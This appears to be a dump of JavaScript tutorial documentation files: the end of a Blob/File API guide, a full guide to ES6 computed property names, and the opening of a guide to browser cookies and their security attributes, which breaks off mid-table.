Object URLs (`blob:...`) are references to in-memory Blob data — they're fast to create but must be manually revoked. Data URLs (`data:...`) encode the full content as a Base64 string — they're larger (about 33% overhead) but self-contained and can be saved or embedded. MDN recommends Object URLs for large files and temporary previews.
Use the `FileReader` API or the modern `file.text()`, `file.arrayBuffer()`, and `file.stream()` methods. `FileReader` uses callbacks while the modern methods return Promises. For text files, `await file.text()` is the simplest approach. For binary data, use `await file.arrayBuffer()`.
Use `blob.slice(start, end)` to split a file into chunks, then upload each chunk separately with `fetch()` and `FormData`. This enables progress tracking, resumable uploads, and avoids server timeout limits. The W3C File API defines `slice()` as a method for creating sub-Blobs from ranges of the original data.
---
## Related Concepts
Low-level binary data handling that works with Blobs
How to upload files to servers using fetch()
Understanding async operations used by Blob methods
Modern syntax for working with FileReader and Blob APIs
---
## Reference
Official MDN documentation for the Blob interface with constructor, properties, and methods.
MDN reference for the File interface that extends Blob with file-specific properties.
Complete reference for reading file contents asynchronously with all methods and events.
MDN guide covering file selection, drag-drop, and practical file handling patterns.
---
## Articles
Comprehensive tutorial covering Blob creation, URLs, conversions, and image handling. Part of the excellent Binary Data section on javascript.info.
Detailed guide on File objects and FileReader with practical examples for reading different file formats.
Step-by-step tutorial with complete code examples for text, image, and binary file reading.
Modern take on File API covering everything from basic input handling to advanced validation patterns.
Concise introduction to FileReader with clear explanations of when and why to use each reading method.
---
## Videos
Clear 10-minute walkthrough of FileReader basics with a practical file preview example. Great starting point.
Complete file upload implementation from frontend to backend, covering validation, progress, and error handling.
Practical tutorial building a drag-and-drop file upload zone with preview functionality.
================================================
FILE: docs/beyond/concepts/computed-property-names.mdx
================================================
---
title: "Computed Property Names in JS"
sidebarTitle: "Computed Property Names"
description: "Learn JavaScript computed property names. Create dynamic object keys with variables, expressions, Symbols, and computed methods for cleaner ES6+ code."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Modern Syntax & Operators"
"article:tag": "computed property names, dynamic object keys, es6 syntax, bracket notation, symbols"
---
Have you ever needed to create an object where the property name comes from a variable? Before ES6, this required creating the object first, then adding the property in a separate step. Computed property names changed everything.
```javascript
// Before ES6 - two steps required
const key = 'status';
const obj = {};
obj[key] = 'active';
// ES6 computed property names - single expression
const key2 = 'status';
const obj2 = { [key2]: 'active' };
console.log(obj2); // { status: 'active' }
```
With **computed property names**, introduced in the ECMAScript 2015 specification, you can use any expression inside square brackets `[]` within an object literal, and JavaScript evaluates that expression to determine the property name. This seemingly small syntax addition enables powerful patterns for dynamic object creation.
**What you'll learn in this guide:**
- What computed property names are and their ES6 syntax
- How JavaScript evaluates computed keys (order of evaluation)
- Dynamic keys with variables and expressions
- Using Symbol keys for unique, non-colliding properties
- Computed method names, getters, and setters
- Common patterns: form handling, state updates, internationalization
- Edge cases: duplicate keys, type coercion, and the `__proto__` gotcha
**Prerequisite:** This guide assumes familiarity with [object basics](/concepts/primitive-types) and [bracket notation](/concepts/modern-js-syntax) for property access. Some examples use [Symbols](/beyond/concepts/javascript-type-nuances), which are covered in detail in the Symbol Keys section.
---
## What are Computed Property Names?
**Computed property names** are an ES6 feature that allows you to use an expression inside square brackets `[]` within an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the property key. This enables creating objects with dynamic keys in a single expression, eliminating the need for the two-step create-then-assign pattern required before ES6.
```javascript
const field = 'email';
const value = 'alice@example.com';
// The expression [field] is evaluated to get the key name
const formData = {
[field]: value,
[`${field}_verified`]: true
};
console.log(formData);
// { email: 'alice@example.com', email_verified: true }
```
Think of computed property names as **dynamic labels** for your object's filing cabinet. Instead of pre-printing labels (static keys), you're using a label maker (the expression) to print the label right when you create the file.
---
## The Dynamic Label Analogy
Imagine you're organizing a filing cabinet. With traditional object literals, you must know all the label names in advance. With computed properties, you can generate labels on the fly.
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ COMPUTED PROPERTY NAMES: DYNAMIC LABELS │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ STATIC KEYS (Traditional) COMPUTED KEYS (ES6) │
│ ───────────────────────── ────────────────────── │
│ │
│ Pre-printed labels: Label maker: │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ name: "Alice" │ │ [key]: "Alice" │ │
│ │ age: 30 │ │ [prefix+id]: 30 │ │
│ └──────────────────┘ └──────────────────┘ │
│ │ │
│ You must know "name" key can be any │
│ and "age" at write time expression evaluated │
│ at runtime │
│ │
│ const obj = { const key = 'name'; │
│ name: "Alice", const obj = { │
│ age: 30 ──────────────► [key]: "Alice", │
│ }; [`user_${key}`]: "Alice" │
│ }; │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Basic Syntax
The syntax is straightforward: wrap any expression in square brackets `[]` where you would normally write a property name.
### Variable as Key
The most common use case is using a variable's value as the property name:
```javascript
const propName = 'score';
const player = {
name: 'Alice',
[propName]: 100
};
console.log(player); // { name: 'Alice', score: 100 }
console.log(player.score); // 100
```
### Template Literal as Key
Template literals let you build dynamic key names with string interpolation:
```javascript
const prefix = 'user';
const id = 42;
const data = {
[`${prefix}_${id}`]: 'Alice',
[`${prefix}_${id}_role`]: 'admin'
};
console.log(data);
// { user_42: 'Alice', user_42_role: 'admin' }
```
### Expression as Key
Any valid JavaScript expression works inside the brackets:
```javascript
const i = 0;
const obj = {
['prop' + (i + 1)]: 'first',
['prop' + (i + 2)]: 'second',
[1 + 1]: 'number key'
};
console.log(obj);
// { '2': 'number key', prop1: 'first', prop2: 'second' }
```
### Function Call as Key
You can even call functions to generate key names:
```javascript
function getKey(type) {
return `data_${type}_${Date.now()}`;
}
const cache = {
[getKey('user')]: { name: 'Alice' }
};
console.log(Object.keys(cache)[0]);
// Something like: 'data_user_1699123456789'
```
---
## How the Engine Evaluates Computed Keys
Understanding the evaluation order is crucial for avoiding subtle bugs.
### Order of Evaluation: Key Before Value
When JavaScript encounters a computed property, it evaluates the **key expression first**, then the **value expression**. Properties are processed left-to-right in source order.
```javascript
let counter = 0;
const obj = {
[++counter]: counter, // key: 1, value: 1
[++counter]: counter, // key: 2, value: 2
[++counter]: counter // key: 3, value: 3
};
console.log(obj);
// { '1': 1, '2': 2, '3': 3 }
```
Each property's key expression (`++counter`) is evaluated before its value expression (`counter`), so the key and value end up with the same number.
### Type Coercion: ToPropertyKey()
Property keys can only be **strings** or **Symbols**. When you use any other type, JavaScript converts it using an internal operation called `ToPropertyKey()`:
| Input Type | Conversion |
|------------|------------|
| String | Used as-is |
| Symbol | Used as-is |
| Number | Converted to string: `42` → `"42"` |
| Boolean | `true` → `"true"`, `false` → `"false"` |
| null | `"null"` |
| undefined | `"undefined"` |
| Object | Calls `toString()` → usually `"[object Object]"` |
| Array | Calls `toString()` → `[1,2,3]` becomes `"1,2,3"` |
```javascript
const obj = {
[42]: 'number',
[true]: 'boolean',
[null]: 'null',
[[1, 2, 3]]: 'array'
};
console.log(obj);
// { '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' }
// Number keys and string keys can collide!
console.log(obj[42]); // 'number'
console.log(obj['42']); // 'number' (same property!)
```
**Common gotcha:** Number and string keys that convert to the same string refer to the same property. `obj[1]` and `obj['1']` access the same property.
---
## Before ES6: The Two-Step Pattern
Before computed property names, creating objects with dynamic keys required multiple steps:
```javascript
// ES5: Create object, then add dynamic property
function createUser(role, name) {
var obj = {};
obj[role] = name;
return obj;
}
var admin = createUser('admin', 'Alice');
console.log(admin); // { admin: 'Alice' }
```
This was especially awkward in situations requiring single expressions:
```javascript
// ES5: IIFE pattern for single-expression dynamic keys
var role = 'admin';
var users = (function() {
var obj = {};
obj[role] = 'Alice';
return obj;
})();
// ES6: Clean single expression
const role2 = 'admin';
const users2 = { [role2]: 'Alice' };
```
The ES6 syntax shines in:
- **Default function parameters** that need dynamic objects
- **Arrow functions** with implicit returns
- **Const declarations** requiring immediate initialization
- **Array methods** like `map()` and `reduce()`
```javascript
// ES6 enables elegant patterns
const fields = ['name', 'email', 'age'];
const defaults = fields.reduce(
(acc, field) => ({ ...acc, [field]: '' }),
{}
);
console.log(defaults);
// { name: '', email: '', age: '' }
```
---
## Symbol Keys: The Primary Use Case
Symbols are unique, immutable identifiers that can **only** be used as object keys via computed property syntax. According to MDN, this is one of the most important use cases for computed properties and the reason Symbols were designed alongside this syntax in ES2015.
### Why Symbols Need Computed Syntax
You cannot use a Symbol with the shorthand or colon syntax:
```javascript
const mySymbol = Symbol('id');
// This creates a string key "mySymbol", NOT a Symbol key!
const wrong = { mySymbol: 'value' };
console.log(Object.keys(wrong)); // ['mySymbol']
// This uses the Symbol as the key
const correct = { [mySymbol]: 'value' };
console.log(Object.keys(correct)); // [] (Symbols don't appear in keys!)
console.log(Object.getOwnPropertySymbols(correct)); // [Symbol(id)]
```
### Symbol Keys Are Hidden
Symbol-keyed properties don't appear in most iteration methods:
```javascript
const secret = Symbol('secret');
const user = {
name: 'Alice',
[secret]: 'classified information'
};
// Symbol keys are hidden from these:
console.log(Object.keys(user)); // ['name']
console.log(JSON.stringify(user)); // '{"name":"Alice"}'
for (const key in user) {
console.log(key); // Only logs 'name'
}
// But you can still access them:
console.log(user[secret]); // 'classified information'
console.log(Object.getOwnPropertySymbols(user)); // [Symbol(secret)]
```
### Well-Known Symbols: Customizing Object Behavior
JavaScript has built-in "well-known" Symbols that let you customize how objects behave. These must be used with computed property syntax.
#### Symbol.iterator: Make Objects Iterable
```javascript
const range = {
start: 1,
end: 5,
[Symbol.iterator]() {
let current = this.start;
const end = this.end;
return {
next() {
if (current <= end) {
return { value: current++, done: false };
}
return { done: true };
}
};
}
};
console.log([...range]); // [1, 2, 3, 4, 5]
for (const num of range) {
console.log(num); // 1, 2, 3, 4, 5
}
```
#### Symbol.toStringTag: Custom Type String
```javascript
const myCollection = {
items: [],
[Symbol.toStringTag]: 'MyCollection'
};
console.log(Object.prototype.toString.call(myCollection));
// '[object MyCollection]'
// Compare to a plain object:
console.log(Object.prototype.toString.call({}));
// '[object Object]'
```
#### Symbol.toPrimitive: Custom Type Coercion
```javascript
const temperature = {
celsius: 20,
[Symbol.toPrimitive](hint) {
switch (hint) {
case 'number':
return this.celsius;
case 'string':
return `${this.celsius}°C`;
default:
return this.celsius;
}
}
};
console.log(+temperature); // 20 (number hint)
console.log(`${temperature}`); // '20°C' (string hint)
console.log(temperature + 10); // 30 (default hint)
```
### Privacy Patterns with Symbols
While not truly private, Symbol keys provide a level of encapsulation:
```javascript
// Module-scoped Symbol - not exported
const _balance = Symbol('balance');
class BankAccount {
constructor(initial) {
this[_balance] = initial;
}
deposit(amount) {
this[_balance] += amount;
}
getBalance() {
return this[_balance];
}
}
const account = new BankAccount(100);
console.log(Object.keys(account)); // []
console.log(JSON.stringify(account)); // '{}'
console.log(account.getBalance()); // 100
// Still accessible if you know about Symbols:
const symbols = Object.getOwnPropertySymbols(account);
console.log(account[symbols[0]]); // 100
```
---
## Computed Method Names
Computed property syntax works with method shorthand for dynamically-named methods:
### Basic Computed Methods
```javascript
const action = 'greet';
const obj = {
[action]() {
return 'Hello!';
},
[`${action}Loudly`]() {
return 'HELLO!';
}
};
console.log(obj.greet()); // 'Hello!'
console.log(obj.greetLoudly()); // 'HELLO!'
```
### Computed Generator Methods
```javascript
const iteratorName = 'values';
const collection = {
items: [1, 2, 3],
*[iteratorName]() {
for (const item of this.items) {
yield item * 2;
}
}
};
console.log([...collection.values()]); // [2, 4, 6]
```
### Computed Async Methods
```javascript
const fetchName = 'fetchData';
const api = {
async [fetchName](url) {
const response = await fetch(url);
return response.json();
}
};
// api.fetchData('https://api.example.com/data')
```
---
## Computed Getters and Setters
You can combine computed property names with [getters and setters](/beyond/concepts/getters-setters):
```javascript
const prop = 'fullName';
const person = {
firstName: 'Alice',
lastName: 'Smith',
get [prop]() {
return `${this.firstName} ${this.lastName}`;
},
set [prop](value) {
const parts = value.split(' ');
this.firstName = parts[0];
this.lastName = parts[1];
}
};
console.log(person.fullName); // 'Alice Smith'
person.fullName = 'Bob Jones';
console.log(person.firstName); // 'Bob'
console.log(person.lastName); // 'Jones'
```
### Symbol-Keyed Accessors
```javascript
const _value = Symbol('value');
const validated = {
[_value]: 0,
get [Symbol.for('value')]() {
return this[_value];
},
set [Symbol.for('value')](v) {
if (typeof v !== 'number') {
throw new TypeError('Value must be a number');
}
this[_value] = v;
}
};
validated[Symbol.for('value')] = 42;
console.log(validated[Symbol.for('value')]); // 42
```
---
## Real-World Use Cases
### Form Field Handling
React and Vue state updates commonly use computed properties. According to Stack Overflow's 2023 Developer Survey, React remains the most popular front-end framework, making this pattern one of the most widely used applications of computed property names:
```javascript
// React-style form handler
function handleInputChange(fieldName, value) {
return {
[fieldName]: value,
[`${fieldName}Touched`]: true,
[`${fieldName}Error`]: null
};
}
const updates = handleInputChange('email', 'alice@example.com');
console.log(updates);
// {
// email: 'alice@example.com',
// emailTouched: true,
// emailError: null
// }
```
### Redux-Style State Updates
```javascript
// Reducer pattern with computed properties
function updateField(state, field, value) {
return {
...state,
[field]: value,
lastModified: Date.now()
};
}
const state = { name: 'Alice', email: '' };
const newState = updateField(state, 'email', 'alice@example.com');
console.log(newState);
// { name: 'Alice', email: 'alice@example.com', lastModified: 1699123456789 }
```
### Internationalization (i18n)
```javascript
function createTranslations(locale, translations) {
return {
[`messages_${locale}`]: translations,
[`${locale}_loaded`]: true,
[`${locale}_timestamp`]: Date.now()
};
}
const spanish = createTranslations('es', { hello: 'hola' });
console.log(spanish);
// {
// messages_es: { hello: 'hola' },
// es_loaded: true,
// es_timestamp: 1699123456789
// }
```
### Dynamic API Response Mapping
```javascript
function normalizeResponse(entityType, items) {
return items.reduce((acc, item) => ({
...acc,
[`${entityType}_${item.id}`]: item
}), {});
}
const users = [
{ id: 1, name: 'Alice' },
{ id: 2, name: 'Bob' }
];
const normalized = normalizeResponse('user', users);
console.log(normalized);
// {
// user_1: { id: 1, name: 'Alice' },
// user_2: { id: 2, name: 'Bob' }
// }
```
---
## Common Mistakes and Edge Cases
### Duplicate Computed Keys: Last One Wins
When multiple computed properties evaluate to the same key, the last one overwrites previous values:
```javascript
const key = 'same';
const obj = {
[key]: 'first',
['sa' + 'me']: 'second',
same: 'third' // Static key, same string
};
console.log(obj); // { same: 'third' }
```
### Keys That Throw Errors
If the key expression throws, object creation is aborted entirely:
```javascript
function badKey() {
throw new Error('Key evaluation failed');
}
// This throws before the object is created
try {
const obj = {
valid: 'ok',
[badKey()]: 'never reached'
};
} catch (e) {
console.log(e.message); // 'Key evaluation failed'
}
```
### Object Keys: toString() Collisions
Objects used as keys call `toString()`, which can cause unexpected collisions:
```javascript
const objA = { toString: () => 'key' };
const objB = { toString: () => 'key' };
const data = {
[objA]: 'first',
[objB]: 'second' // Overwrites! Both → 'key'
};
console.log(data); // { key: 'second' }
```
### The `__proto__` Special Case
The `__proto__` key has special behavior depending on how it's written:
```javascript
// Non-computed: Sets the prototype!
const obj1 = { __proto__: Array.prototype };
console.log(obj1 instanceof Array); // true
console.log(Object.hasOwn(obj1, '__proto__')); // false
// Computed: Creates a normal property
const obj2 = { ['__proto__']: Array.prototype };
console.log(obj2 instanceof Array); // false
console.log(Object.hasOwn(obj2, '__proto__')); // true
// Shorthand: Also creates a normal property
const __proto__ = 'just a string';
const obj3 = { __proto__ };
console.log(obj3.__proto__); // 'just a string' (own property)
```
**Important:** Only the non-computed colon syntax (`__proto__: value`) sets the prototype. Computed `['__proto__']` and shorthand `{ __proto__ }` create regular properties.
---
## Key Takeaways
**The key things to remember:**
1. **Computed properties use `[expression]` syntax** in object literals to create dynamic key names at runtime.
2. **The key expression is evaluated before the value expression.** Properties are processed left-to-right in source order.
3. **Non-string/Symbol keys are coerced via ToPropertyKey().** Numbers become strings, objects call `toString()`.
4. **Symbols can ONLY be used as keys via computed property syntax.** The syntax `{ mySymbol: value }` creates a string key `"mySymbol"`.
5. **Well-known Symbols customize object behavior.** Use `[Symbol.iterator]` for iteration, `[Symbol.toStringTag]` for type strings.
6. **Computed method syntax enables dynamic method names.** Works with regular methods, generators, and async methods.
7. **Computed getters/setters enable dynamic accessor properties.** Combine `get [expr]()` and `set [expr](v)` for dynamic accessors.
8. **Pre-ES6 required two steps; ES6 enables single-expression objects.** This is especially useful in `reduce()`, arrow functions, and default parameters.
9. **Duplicate computed keys are allowed—last one wins.** No error is thrown; the later value simply overwrites.
10. **The `__proto__` key behaves differently in computed vs non-computed form.** Only non-computed colon syntax sets the prototype.
---
## Test Your Knowledge
**Answer:**
- `{ key: value }` creates a property with the literal name `"key"` (a static string).
- `{ [key]: value }` evaluates the variable `key` and uses its **value** as the property name.
```javascript
const key = 'dynamicName';
const static = { key: 'value' };
console.log(static); // { key: 'value' }
const dynamic = { [key]: 'value' };
console.log(dynamic); // { dynamicName: 'value' }
```
The square brackets signal "evaluate this expression to get the key name."
**Answer:**
The **key expression is evaluated first**, then the **value expression**. This happens for each property in left-to-right order.
```javascript
let n = 0;
const obj = {
[++n]: n, // key: 1, value: 1
[++n]: n // key: 2, value: 2
};
// { '1': 1, '2': 2 }
```
The `++n` in the key runs before `n` in the value is read, so they match.
**Answer:**
The object is converted to a string via its `toString()` method. By default, this returns `"[object Object]"`, which can cause unintended collisions:
```javascript
const a = { id: 1 };
const b = { id: 2 };
const obj = {
[a]: 'first',
[b]: 'second' // Overwrites! Both → "[object Object]"
};
console.log(obj); // { '[object Object]': 'second' }
```
Custom `toString()` methods can provide unique keys, but this pattern is error-prone. Use Symbols or string IDs instead.
**Answer:**
The shorthand and colon syntax only accept identifiers or string literals as property names. Writing `{ mySymbol: value }` creates a property named `"mySymbol"` (a string), not a Symbol-keyed property.
```javascript
const sym = Symbol('id');
const wrong = { sym: 'value' };
console.log(Object.keys(wrong)); // ['sym'] - string key!
const right = { [sym]: 'value' };
console.log(Object.keys(right)); // [] - Symbol key is hidden
console.log(Object.getOwnPropertySymbols(right)); // [Symbol(id)]
```
The `[sym]` syntax tells JavaScript to evaluate the variable and use the Symbol itself as the key.
**Answer:**
Use computed property syntax with method shorthand:
```javascript
const action = 'processData';
const handler = {
[action](data) {
return data.map(x => x * 2);
},
// Generator method
*[`${action}Iterator`](data) {
for (const item of data) {
yield item * 2;
}
},
// Async method
async [`${action}Async`](url) {
const response = await fetch(url);
return response.json();
}
};
console.log(handler.processData([1, 2, 3])); // [2, 4, 6]
```
This works with regular methods, generators (`*[name]()`), and async methods (`async [name]()`).
**Answer:**
Duplicate keys are allowed—the **last one wins** and overwrites previous values. No error is thrown:
```javascript
const obj = {
['x']: 1,
['x']: 2,
x: 3
};
console.log(obj); // { x: 3 }
```
This applies whether the duplicate comes from computed properties, static properties, or a mix. The same rule applies to the rest of JavaScript—later assignments overwrite earlier ones.
---
## Frequently Asked Questions
Computed property names are an ES2015 feature that lets you use any expression inside square brackets `[]` in an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the key — all in a single expression.
Wrap the variable in square brackets inside the object literal: `{ [myVariable]: value }`. Without brackets, `{ myVariable: value }` creates a property literally named `"myVariable"`. The brackets tell JavaScript to evaluate the expression and use the result as the key name.
Symbol values cannot be expressed as identifiers or string literals in object shorthand. Writing `{ mySymbol: value }` creates a string key `"mySymbol"`, not a Symbol key. Only the computed syntax `{ [mySymbol]: value }` evaluates the variable and uses the actual Symbol as the key, as specified in the ECMAScript standard.
The last one wins — JavaScript silently overwrites previous values with no error. This applies whether the duplicates come from computed properties, static properties, or a mix. MDN documents that this behavior is consistent with how all property assignments work in JavaScript.
Yes. Computed syntax works with method shorthand (`{ [name]() {} }`), generator methods (`{ *[name]() {} }`), async methods (`{ async [name]() {} }`), and accessor properties (`{ get [name]() {}, set [name](v) {} }`). This enables powerful patterns for dynamically-named APIs.
---
## Related Concepts
Overview of ES6+ features including destructuring, spread, arrow functions, and enhanced object literals.
Deep dive into Symbols, a primary use case for computed property keys in JavaScript.
Combine computed property names with get and set for dynamic accessor properties.
Control writable, enumerable, and configurable flags on your computed properties.
Iterate and transform objects using Object.keys(), entries(), and fromEntries().
Another ES6+ syntax feature for advanced string processing with template literals.
---
## References
Official MDN reference for object literals with a dedicated section on computed property names.
Understand bracket notation, the foundation for how computed property names work.
Comprehensive reference on Symbols, commonly used with computed property syntax.
Beginner guide covering object fundamentals and property access patterns.
---
## Articles
Excellent tutorial with a dedicated "Computed properties" section and interactive examples.
Mozilla Hacks article explaining Symbols and their use as computed property keys for iterables.
Dr. Axel Rauschmayer's deep technical analysis of computed property keys and ES6 object enhancements.
Focused practical article with before/after ES6 comparisons and real-world examples.
---
## Videos
Traversy Media's comprehensive ES6 coverage including enhanced object literals and computed properties.
The Net Ninja's series on modern JavaScript features with clear explanations of ES6 syntax.
Web Dev Simplified tutorials explaining ES6 features including object shorthand and computed properties.
Fireship's fast-paced explainers covering JavaScript syntax features and best practices.
================================================
FILE: docs/beyond/concepts/cookies.mdx
================================================
---
title: "Cookies in JavaScript"
sidebarTitle: "Cookies"
description: "Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, and security best practices."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Browser Storage"
"article:tag": "cookies, http cookies, cookie attributes, httponly samesite, cookie security"
---
Why do websites "remember" you're logged in, even after closing your browser? How does that shopping cart persist across tabs? Why can some data survive for weeks while other data vanishes when you close a tab?
```javascript
// Set a cookie that remembers the user for 7 days
document.cookie = "username=Alice; max-age=604800; path=/; secure; samesite=strict"
// Read all cookies (returns a single string)
console.log(document.cookie) // "username=Alice; theme=dark; lang=en"
// The server also sees these cookies with every request!
// Cookie: username=Alice; theme=dark; lang=en
```
The answer is **cookies**. Invented by Lou Montulli at Netscape in 1994, they're the original browser storage mechanism, and unlike localStorage, cookies are automatically sent to the server with every HTTP request. This makes them essential for authentication, sessions, and any data the server needs to know about.
**What you'll learn in this guide:**
- What cookies are and how they differ from other storage
- Reading, writing, and deleting cookies with JavaScript
- Server-side cookies with the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) header
- Cookie attributes: `Expires`, `Max-Age`, `Path`, `Domain`
- Security attributes: `Secure`, `HttpOnly`, `SameSite`
- How to protect against XSS and CSRF attacks
- First-party vs third-party cookies and privacy
- The future of cookies: third-party deprecation and CHIPS
- When to use cookies vs localStorage vs sessionStorage
**Prerequisites:** This guide builds on your understanding of [HTTP and Fetch](/concepts/http-fetch) and [localStorage/sessionStorage](/beyond/concepts/localstorage-sessionstorage). Understanding HTTP requests and responses will help you grasp how cookies travel between browser and server.
---
## What are Cookies in JavaScript?
**[Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)** are small pieces of data (up to ~4KB) that websites store in the browser and automatically send to the server with every HTTP request. Unlike localStorage which stays in the browser, cookies bridge the gap between client and server, enabling features like user authentication, session management, and personalization that require the server to "remember" who you are.
Cookies were invented by Lou Montulli at Netscape in 1994 to solve the problem of implementing a shopping cart. HTTP is stateless, meaning each request is independent. Cookies gave the web "memory."
---
## The Visitor Badge Analogy
Think of cookies like a **visitor badge at an office building**:
1. **First visit**: You arrive and sign in at reception. They give you a badge with your name and access level.
2. **Moving around**: You wear the badge everywhere. Security guards (servers) can see it and know who you are without asking again.
3. **Badge expiration**: Some badges expire at the end of the day (session cookies). Others are valid for a year (persistent cookies).
4. **Restricted areas**: Some badges only work on certain floors (the `path` attribute).
5. **Security features**: Some badges have photos that can't be photocopied (the `HttpOnly` attribute prevents JavaScript access).
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ HOW COOKIES TRAVEL │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ STEP 1: Browser requests a page │
│ ───────────────────────────────── │
│ │
│ Browser ──────────────────────────────────────────────────────► Server │
│ GET /login HTTP/1.1 │
│ Host: example.com │
│ │
│ STEP 2: Server responds with Set-Cookie │
│ ─────────────────────────────────────── │
│ │
│ Browser ◄────────────────────────────────────────────────────── Server │
│ HTTP/1.1 200 OK │
│ Set-Cookie: sessionId=abc123; HttpOnly; Secure │
│ Set-Cookie: theme=dark; Max-Age=31536000 │
│ │
│ STEP 3: Browser stores cookies and sends them with EVERY request │
│ ──────────────────────────────────────────────────────────────── │
│ │
│ Browser ──────────────────────────────────────────────────────► Server │
│ GET /dashboard HTTP/1.1 │
│ Host: example.com │
│ Cookie: sessionId=abc123; theme=dark │
│ │
│ The server now knows who you are without you logging in again! │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Setting Cookies with JavaScript
The [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) property is how you read and write cookies in JavaScript. But it has a quirky API that surprises most developers.
### Basic Cookie Syntax
```javascript
// Set a simple cookie
document.cookie = "username=Alice"
// Set a cookie with attributes
document.cookie = "username=Alice; max-age=86400; path=/; secure"
// Important: Each assignment sets ONE cookie, not all cookies!
document.cookie = "theme=dark" // Adds another cookie
document.cookie = "lang=en" // Adds yet another cookie
```
### The Quirky Nature of document.cookie
Here's what surprises most developers: `document.cookie` is NOT a regular property. It's an [accessor property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) with special getter and setter behavior:
```javascript
// Setting a cookie doesn't replace all cookies - it adds or updates ONE
document.cookie = "a=1"
document.cookie = "b=2"
document.cookie = "c=3"
// Reading returns ALL cookies as a single string
console.log(document.cookie) // "a=1; b=2; c=3"
// You can't get a single cookie directly - you get ALL of them
// There's no document.cookie.a or document.cookie['a']
```
### Encoding Special Characters
Cookie values can't contain semicolons, commas, or spaces without encoding:
```javascript
// Bad: This will break!
document.cookie = "message=Hello, World!" // Comma and space cause issues
// Good: Encode the value
document.cookie = `message=${encodeURIComponent("Hello, World!")}`
// Results in: message=Hello%2C%20World!
// When reading, decode it back
const value = decodeURIComponent(getCookie("message")) // "Hello, World!"
```
---
## Reading Cookies
Reading cookies requires parsing the `document.cookie` string. Here are practical helper functions:
```javascript
// Get a specific cookie by name
function getCookie(name) {
const cookies = document.cookie.split("; ")
for (const cookie of cookies) {
const [cookieName, cookieValue] = cookie.split("=")
if (cookieName === name) {
return decodeURIComponent(cookieValue)
}
}
return null
}
// Usage
const username = getCookie("username") // "Alice" or null
```
### A More Robust Parser
```javascript
// Parse all cookies into an object
function parseCookies() {
return document.cookie
.split("; ")
.filter(Boolean) // Remove empty strings
.reduce((cookies, cookie) => {
const [name, ...valueParts] = cookie.split("=")
// Handle values that contain '=' signs
const value = valueParts.join("=")
cookies[name] = decodeURIComponent(value)
return cookies
}, {})
}
// Usage
const cookies = parseCookies()
console.log(cookies.username) // "Alice"
console.log(cookies.theme) // "dark"
```
### Check If a Cookie Exists
```javascript
function hasCookie(name) {
return document.cookie
.split("; ")
.some(cookie => cookie.startsWith(`${name}=`))
}
// Usage
if (hasCookie("sessionId")) {
console.log("User is logged in")
}
```
---
## Writing Cookies: A Complete Helper
Here's a comprehensive cookie-setting function:
```javascript
function setCookie(name, value, options = {}) {
// Default options
const defaults = {
path: "/", // Available across the entire site
secure: true, // HTTPS only (recommended)
sameSite: "lax" // CSRF protection
}
const settings = { ...defaults, ...options }
// Start building the cookie string
let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`
// Add expiration
if (settings.maxAge !== undefined) {
cookieString += `; max-age=${settings.maxAge}`
} else if (settings.expires instanceof Date) {
cookieString += `; expires=${settings.expires.toUTCString()}`
}
// Add path
if (settings.path) {
cookieString += `; path=${settings.path}`
}
// Add domain (for sharing across subdomains)
if (settings.domain) {
cookieString += `; domain=${settings.domain}`
}
// Add security flags
if (settings.secure) {
cookieString += "; secure"
}
if (settings.sameSite) {
cookieString += `; samesite=${settings.sameSite}`
}
document.cookie = cookieString
}
// Usage examples
setCookie("username", "Alice", { maxAge: 86400 }) // 1 day
setCookie("preferences", JSON.stringify({ theme: "dark" })) // Store object
setCookie("temp", "value", { maxAge: 0 }) // Delete immediately
```
---
## Deleting Cookies
There's no direct "delete" method for cookies. Instead, you set the cookie with an expiration in the past or `max-age=0`:
```javascript
function deleteCookie(name, options = {}) {
// Must use the same path and domain as when the cookie was set!
setCookie(name, "", {
...options,
maxAge: 0 // Expire immediately
})
}
// Alternative: Set expiration to the past
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/"
// Usage
deleteCookie("username")
deleteCookie("sessionId", { path: "/app" }) // Must match original path!
```
**Critical:** When deleting a cookie, you MUST use the same `path` and `domain` attributes as when it was set. If a cookie was set with `path=/app`, deleting it with `path=/` won't work!
---
## Server-Side Cookies with Set-Cookie
While JavaScript can set cookies, servers have more control using the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) HTTP header:
```http
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
Set-Cookie: csrfToken=xyz789; Secure; SameSite=Strict; Max-Age=3600
```
### Node.js/Express Example
```javascript
const express = require("express")
const app = express()
app.post("/login", (req, res) => {
// After validating credentials...
const sessionId = generateSecureSessionId()
// Set a secure session cookie
res.cookie("sessionId", sessionId, {
httpOnly: true, // Can't be accessed by JavaScript!
secure: true, // HTTPS only
sameSite: "strict", // CSRF protection
maxAge: 3600000 // 1 hour in milliseconds
})
res.json({ success: true })
})
app.post("/logout", (req, res) => {
// Clear the session cookie
res.clearCookie("sessionId", {
httpOnly: true,
secure: true,
sameSite: "strict"
})
res.json({ success: true })
})
```
### Why Server-Set Cookies?
Servers can set cookies that JavaScript **cannot read or modify**:
| Setter | Can Use HttpOnly? | JavaScript Access | Best For |
|--------|------------------|-------------------|----------|
